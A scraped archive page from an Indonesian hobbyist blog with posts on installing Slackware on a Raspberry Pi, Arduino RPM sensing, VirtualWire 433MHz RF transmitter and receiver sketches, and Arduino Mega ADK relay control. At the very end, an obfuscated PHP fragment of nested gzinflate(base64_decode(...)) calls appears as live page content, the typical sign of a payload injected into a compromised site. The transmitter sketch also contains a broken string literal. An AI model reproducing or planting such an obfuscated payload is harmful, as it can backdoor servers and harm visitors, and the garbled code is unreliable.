Delicious

Archives

Categories

Archive for 'Microcontroller' Category





« »

Raspberry Pi – Slackware

  ozzie / 08/12/2012
# wget http://www.daves-collective.co.uk/raspi/images/raspi-slack-installer_01Aug12.img.xz
# xz -dc raspi-slack-installer_01Aug12.img.xz | dd of=/dev/mmcblk0  bs=65536

install Slackware seperti biasa (via network) sampai selesai.. tapi jgn reboot

# mount -t vfat /dev/mmcblk0p1 /mnt/boot
# ROOT=/mnt installpkg /raspi-extra/kernel* /raspi-extra/raspi*
# reboot



tadaaaaaa <:-p

ref :

http://www.daves-collective.co.uk/raspi/
http://elinux.org/RPi_Low-level_peripherals



Research – Development

  ozzie / 09/11/2012

Measuring RPM with Arduino

  ozzie / 06/11/2012

basicly.. ada beberapa metode/cara menghitung RPM (Revolution per Minute)..
[mungkin dalam case ini lebih mengarah ke 2stroke Kawasaki Ninja R.]:

1. Dengan metode Electromagnetic Induction.. yg biasa aplikasikan Timing Light.
2. Dengan metode Hall Effect, yg biasa di pakai pada pulser magnet.
3. Dan mungkin beberapa CDI (Capacitor Discharge Ignition) telah memiliki dedicated cable untuk keperluan RPM pada speedometer. cmiiw :D.. so beruntunglah yg telah memiliki CDI dgn output RPM… :)) :))

dengan beberapa metode tadi, rangkaian MicroController pun harus terisolasi / terpisah dari kelistrikan yg dalam hal ini Motor yang umumnya bertegangan > 12V, untuk itu perlu di tambahkan Opto-Coupler / Opto-Isolator untuk memisahkan keduanya, selain itu untuk supply power MicroController yg memiliki tegangan 5V sampai 9V perlu ditambahkan Voltage Regulator.
dan untuk menstabilkan / merapihkan signal output dari masing-masing metode / sensor; perlu dilengkapi dengan IC 555 yg umum digunakan untuk Timer..

Coil Ignition (Inductive PickUp / Clamp)


Pulse (Hall Effect Sensor / Position Sensor)

Special Thanks to: Dhidy D2M & all Crew D2M-HasilKebon atas masukan & motivasinya.. ;)

To Be Continue.. schema & code arduinonya lanjut besok.. :D :D



SPI Communication

  ozzie / 26/10/2012

Unipolar Stepper

  ozzie / 19/10/2012

one-way wireless RF 433MHz – ASK

  ozzie / 17/10/2012


Connecting 1way Arduino based on Radio Frequency. dengan module TWS-434 & RWS-434N pada 433MHz dengan modulasi ASK.

dengan Library VirtualWire dari http://www.open.com.au/mikem/arduino/



Transmitter:

// transmitter.pde
//
// Simple example of how to use VirtualWire to transmit messages
// Implements a simplex (one-way).
//
// See VirtualWire.h for detailed API docs
// Author: Mike McCauley
// Copyright (C) 2008 Mike McCauley
// $Id: transmitter.pde,v 1.3 2009/03/30 00:07:24 mikem Exp $
 
#include  <VirtualWire.h>
#undef int
#undef abs
#undef double
#undef float
#undef round
void setup()
{
    Serial.begin(9600);	  // Debugging only
    Serial.println("setup");
    vw_set_ptt_inverted(true); // Required for DR3100
    vw_setup(2000);	 // Bits per sec
}
 
void loop()
{
    const char *msg = "RF;
    digitalWrite(13, true); // Flash a light to show transmitting
    delay(150);
    vw_send((uint8_t *)msg, strlen(msg));
    vw_wait_tx(); // Wait until the whole message is gone
    digitalWrite(13, false);
    delay(1000);
}

Reciever:

// receiver.pde
//
// Simple example of how to use VirtualWire to receive messages
// Implements a simplex (one-way) receiver with an Rx-B1 module
//
// See VirtualWire.h for detailed API docs
// Author: Mike McCauley
// Copyright (C) 2008 Mike McCauley
// $Id: receiver.pde,v 1.3 2009/03/30 00:07:24 mikem Exp $
 
#include <VirtualWire.h>
#undef int
#undef abs
#undef double
#undef float
#undef round
void setup()
{
    Serial.begin(9600);	// Debugging only
    Serial.println("setup");
 
    // Initialise the IO and ISR
    vw_set_ptt_inverted(true); // Required for DR3100
    vw_setup(2000);	 // Bits per sec
 
    vw_rx_start();       // Start the receiver PLL running
}
 
void loop()
{
    uint8_t buf[VW_MAX_MESSAGE_LEN];
    uint8_t buflen = VW_MAX_MESSAGE_LEN;
 
    if (vw_get_message(buf, &buflen)) // Non-blocking
    {
	int i;
 
        digitalWrite(13, true); // Flash a light to show received good message
	// Message with a good checksum received, dump it.
	Serial.print("Got: ");
 
	for (i = 0; i < buflen; i++)
	{
	    Serial.print((char)buf[i]);
	    Serial.print(" - ");
	}
	Serial.println("");
        digitalWrite(13, false);
    }
}


dengan ide awal membuat Interface agar lebih interaktif & Informatif, proses development pun memilih menggunakan 2.8″ TFT Touchscreen untuk menampilkan semua informasi, Namun.. :-s.. Jika digabungkan dengan Arduino UNO semua pin akan habis dipakai oleh (Touchscreen, Display & SD module).. #-o

Dengan kebutuhan I/O (input & output) yg cukup banyak, maka di cobalah digabungkan dengan Arduino MEGA, Tapi 8-}8-}.. Mapping PIN berbeda dengan pin Arduino MEGA..
Mega ADK
Berikut list perbandingan pin:

List UNO vs Mega ADK

Mega ADK

Semoga bermanfaat [-o<



TFT Touchscreen @ Arduino Mega ADK

  ozzie / 14/10/2012

Sekedar iseng mendokumentasikan petualangan Exploring Arduino ADK & Android Apps..
dengan ide awal mengontrol output relay dengan menggunakan Custom Android Apps..





dengan output dari Arduino Mega ADK yang di lanjutkan dengan 1 buah IC ULN2803A untuk mengaktifkan 8 buah Relay.. yang nantinya dapat disesuaikan dengan kebutuhan.. ;)


related Adventure:
http://kebonbinatang.org/~oz/adk1/adk_relay.ino [ Arduino File (Code)]
http://kebonbinatang.org/~oz/adk1/relay_ADK.fzz [Fritzing File]
http://kebonbinatang.org/~oz/adk1/ADK_Relay.tar.gz [Android Source (Eclipse + Android SDK) File]



Executer relay via InfraRed

  ozzie / 03/10/2012

Arduino on Slackware

  ozzie / 23/09/2012

setelah sekian lama vakum oprek2 Microcontroller.. dan dengan kebutuhan rumah baru untuk membuat home-automation via Android Apps, akhirnya project iseng santai melirik ARDUINO OpenSource Electronic prototyping platform. ;)) tipe Arduino UNO pun menjadi pilihan untuk eksperimen ini dengan base ATmega328. 14 digital input/output & 6 analog input.


untuk development tools arduino di Linux menyediakan berbagai tools & library. dan untuk distribusi Slackware, Arduino sudah tersedia di Package tree development Slackbuilds. [http://slackbuilds.org/repository/13.37/development/arduino/].


coding Arduino pun lebih mudah, khususnya yg terbiasa dengan bahasa C, dibandingkan dengan micro-controller MCS-51, PIC, dll….


to be continue…..
next : Eclipse IDE [Arduino, Android]

Related story:



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>